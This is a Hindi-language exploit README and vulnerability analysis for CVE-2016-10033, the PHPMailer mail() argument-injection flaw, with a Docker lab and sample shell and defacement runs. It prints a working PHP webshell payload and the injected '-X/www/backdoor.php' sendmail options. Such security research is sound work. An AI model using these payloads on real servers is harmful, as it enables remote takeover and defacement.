awidardi/opsxcq-cve-2016-10033CTFS.me समस्या को हल करने के लिए
PHPMailer दुनिया का सबसे लोकप्रिय परिवहन वर्ग है, जिसके दुनिया भर में अनुमानित 9 मिलियन उपयोगकर्ता हैं। डाउनलोड दैनिक रूप से महत्वपूर्ण गति से जारी रहते हैं। कई ओपन-सोर्स प्रोजेक्ट्स द्वारा उपयोग किया जाता है: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! और कई अन्य
PHPMailer अपने संस्करण 5.2.18 से पहले एक भेद्यता से ग्रस्त है जो रिमोट कोड निष्पादन (RCE) की ओर ले जा सकती है। PHPMailer में isMail ट्रांसपोर्ट का mailSend फंक्शन, जब Sender गुण सेट नहीं होता, तो दूरस्थ हमलावरों को mail कमांड में अतिरिक्त पैरामीटर पास करने और परिणामस्वरूप एक " (backslash double quote) के माध्यम से निर्मित 'From' पते में मनमाना कोड निष्पादित करने की अनुमति दे सकता है।
अपने परीक्षण के लिए भेद्य वातावरण सेटअप करने के लिए आपको Docker स्थापित होना चाहिए, और बस निम्नलिखित कमांड चलाएँ:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
और यह आपके होस्ट पर 8080 पोर्ट पर एक भेद्य वेब एप्लिकेशन शुरू करेगा
इस लक्ष्य का शोषण करने के लिए बस चलाएँ:
./exploit host:port
यदि आप इस भेद्य इमेज का उपयोग कर रहे हैं, तो आप बस चला सकते हैं:
./exploit localhost:8080
शोषण के बाद, backdoor.php नामक फ़ाइल वेब निर्देशिका के रूट फ़ोल्डर में संग्रहीत हो जाएगी। और शोषण आपको एक शेल प्रदान करेगा जहाँ आप बैकडोर को कमांड भेज सकते हैं:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
और बस, आपके पास आपका शेल है। एक और शोषण है, जो एक अन्य उपयोग के मामले को दर्शाता है।
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
और यदि आप पृष्ठ पर फिर से जाते हैं, तो आप यह देखेंगे:
इस कमिट से पहले class.phpmailer.php में एक निश्चित परिदृश्य में प्रेषक के ईमेल पते के विशेष वर्णों पर कोई फ़िल्टर नहीं है। यह दोष mail फ़ंक्शन के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है यहाँ।
कोड का विश्लेषण करने पर, mailSend() फंक्शन में कोई फ़िल्टर नहीं है
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender सीधे $params वेरिएबल में जोड़ा जाता है, जिसे validateAddress() फंक्शन में फ़िल्टर किया गया था, लेकिन चूँकि यह RFC 3696 विनिर्देश का उपयोग करता है, यह कुछ वर्णों की अनुमति देता है जो चीज़ों को तोड़ देंगे। इस मामले में, उद्धरण:
बैकस्लैश वर्ण का उपयोग करके उद्धरण के अलावा, पारंपरिक डबल-कोट वर्णों का उपयोग स्ट्रिंग को घेरने के लिए किया जा सकता है। उदाहरण के लिए
"Abc@def"@example.com
"Fred Bloggs"@example.com
ऊपर दिए गए पहले दो उदाहरणों के वैकल्पिक रूप हैं। ये उद्धृत रूप शायद ही कभी अनुशंसित होते हैं, और व्यवहार में असामान्य हैं, लेकिन, जैसा कि ऊपर चर्चा की गई है, उन अनुप्रयोगों द्वारा समर्थित होना चाहिए जो ईमेल पतों को संसाधित कर रहे हैं। विशेष रूप से, उद्धृत रूप अक्सर अन्य सिस्टम और संदर्भों से संक्रमण से जुड़े पतों के संदर्भ में दिखाई देते हैं; वे संक्रमण आवश्यकताएँ अभी भी उत्पन्न होती हैं, और चूँकि एक सिस्टम जो उपयोगकर्ता द्वारा प्रदान किया गया ईमेल पता स्वीकार करता है, वह "जान" नहीं सकता कि वह पता किसी लीगेसी सिस्टम से जुड़ा है या नहीं, पते के रूपों को स्वीकार किया जाना चाहिए और ईमेल वातावरण में पास किया जाना चाहिए।
यदि आप चाहें तो पूरा RFC यहाँ पढ़ सकते हैं। लेकिन साथ ही, यदि PHP संस्करण 5.2.0 से कम है, और PCRE स्थापित नहीं है, तो validateAddress() में $patternselect वेरिएबल noregex पर सेट हो जाएगा। इससे इनपुट किसी भी regex जांच से बचने में सक्षम होगा। यह केवल एक छोटी सी सत्यापन से गुज़रेगा:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
फिर, कोड प्रवाह mailPassthru() फंक्शन में जाता है, जो यदि safe_mode में चल रहा है तो इस दोष के लिए भेद्य नहीं होगा, जैसा कि निम्नलिखित कोड बताता है
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
लेकिन, यदि यह safe_mode में नहीं चल रहा है, तो हमारा विशेष पैरामीटर mail() को पास कर दिया जाएगा और, यदि हम भाग्यशाली रहे, तो यह हमारी फ़ाइल को वहाँ लिखवा देगा जहाँ हम चाहते हैं, जिसमें जो कुछ भी हम चाहते हैं वह होगा।
PHP mail() फंक्शन का शोषण कोई नई बात नहीं है, लेकिन यह अभी भी जीवित है और लोग इसका उपयोग कर रहे हैं। यह समझाने के लिए कि यह कैसे काम करता है, आइए देखें कि mail() फंक्शन कैसे परिभाषित किया गया है:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
विभिन्न परिणामों के लिए कई शोषण विधियाँ हैं, हम रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए 5वें पैरामीटर के शोषण पर ध्यान केंद्रित करेंगे। पैरामीटर $additional_parameters का उपयोग ईमेल भेजने के लिए कॉन्फ़िगर किए गए प्रोग्राम में अतिरिक्त फ़्लैग को कमांड लाइन विकल्पों के रूप में पास करने के लिए किया जाता है। यह कॉन्फ़िगरेशन sendmail_path वेरिएबल द्वारा परिभाषित किया गया है।
PHP आधिकारिक दस्तावेज़ीकरण से एक सुरक्षा नोट:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
इंजेक्ट किए जा सकने वाले अतिरिक्त पैरामीटरों को ध्यान में रखते हुए, हम इस दोष का शोषण करने के लिए -X का उपयोग करेंगे। -X पैरामीटर के बारे में अधिक जानकारी:
-X logfile
संकेतित लॉग फ़ाइल में मेलर्स के अंदर और बाहर के सभी ट्रैफ़िक को लॉग करें। इसका उपयोग केवल मेलर बग्स को डीबग करने के अंतिम उपाय के रूप में किया जाना चाहिए। यह बहुत जल्दी बहुत सारा डेटा लॉग करेगा।
कुछ अन्य दिलचस्प पैरामीटर भी हैं जो मौजूद हैं, जिनके बारे में आपको पता होना चाहिए:
-Cfile
वैकल्पिक कॉन्फ़िगरेशन फ़ाइल का उपयोग करें। यदि कोई वैकल्पिक कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट की जाती है, तो Sendmail किसी भी उन्नत (set-user-ID या set-group-ID) विशेषाधिकारों को छोड़ देता है।
-O option=value
विकल्प option को निर्दिष्ट मान पर सेट करें। यह रूप लंबे नामों का उपयोग करता है।
और -O विकल्प के लिए, QueueDirectory सबसे दिलचस्प विकल्प है, यह विकल्प उस निर्देशिका का चयन करता है जिसमें संदेशों को कतारबद्ध किया जाए।
यदि आप मापदंडों और विकल्पों की पूरी सूची पढ़ना चाहते हैं, तो बस man sendmail चलाएँ या इसे ऑनलाइन यहाँ पढ़ें
इस जानकारी के आधार पर, और कम से कम एक अन्य पैरामीटर को नियंत्रित करने की क्षमता के साथ, हम होस्ट का शोषण कर सकते हैं। सफल शोषण के लिए नीचे दिए गए चरण हैं:
$additional_parameters और एक अन्य mail() पैरामीटर को नियंत्रित करेंwebroot के अंतर्गत कुछ भी हो सकती है (उदाहरण के लिए अन्य सिस्टम के लिए /var/www/html, इस उदाहरण के लिए /www)system() पेलोड का उपयोग कर रहे हैं, जिसमें base64 का स्वाद और कुछ विशेष वर्ण | हैं ताकि पार्स करना आसान हो।याद रखें कि -X विकल्प लॉग फ़ाइल लिखेगा, जिसमें लॉग जानकारी के बीच आपका PHP पेलोड होगा, उस निर्देशिका में जो आप बताएंगे। भेद्य PHP कोड का एक उदाहरण:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
यदि आप उपरोक्त कोड निष्पादित करते हैं, तो यह /www/backdoor.php में एक लॉग फ़ाइल बनाएगा, यह इस शोषण का सार है।
इस उदाहरण में उपयोग किया गया पेलोड नीचे दिया गया है
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
इस दोष को खोजने का एक आसान, एक कमांड तरीका चाहते हैं? इस जादुई grep कमांड को याद रखें!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
इसे इस रिपॉजिटरी पर चलाने पर परिणाम मिलेगा
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
यह भेद्यता Dawid Golunski द्वारा पाई गई थी।
यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। बिना अनुमति के इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग से होने वाले किसी भी नुकसान के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग से होने वाला कोई भी नुकसान (डेटा हानि, सिस्टम क्रैश, सिस्टम से समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।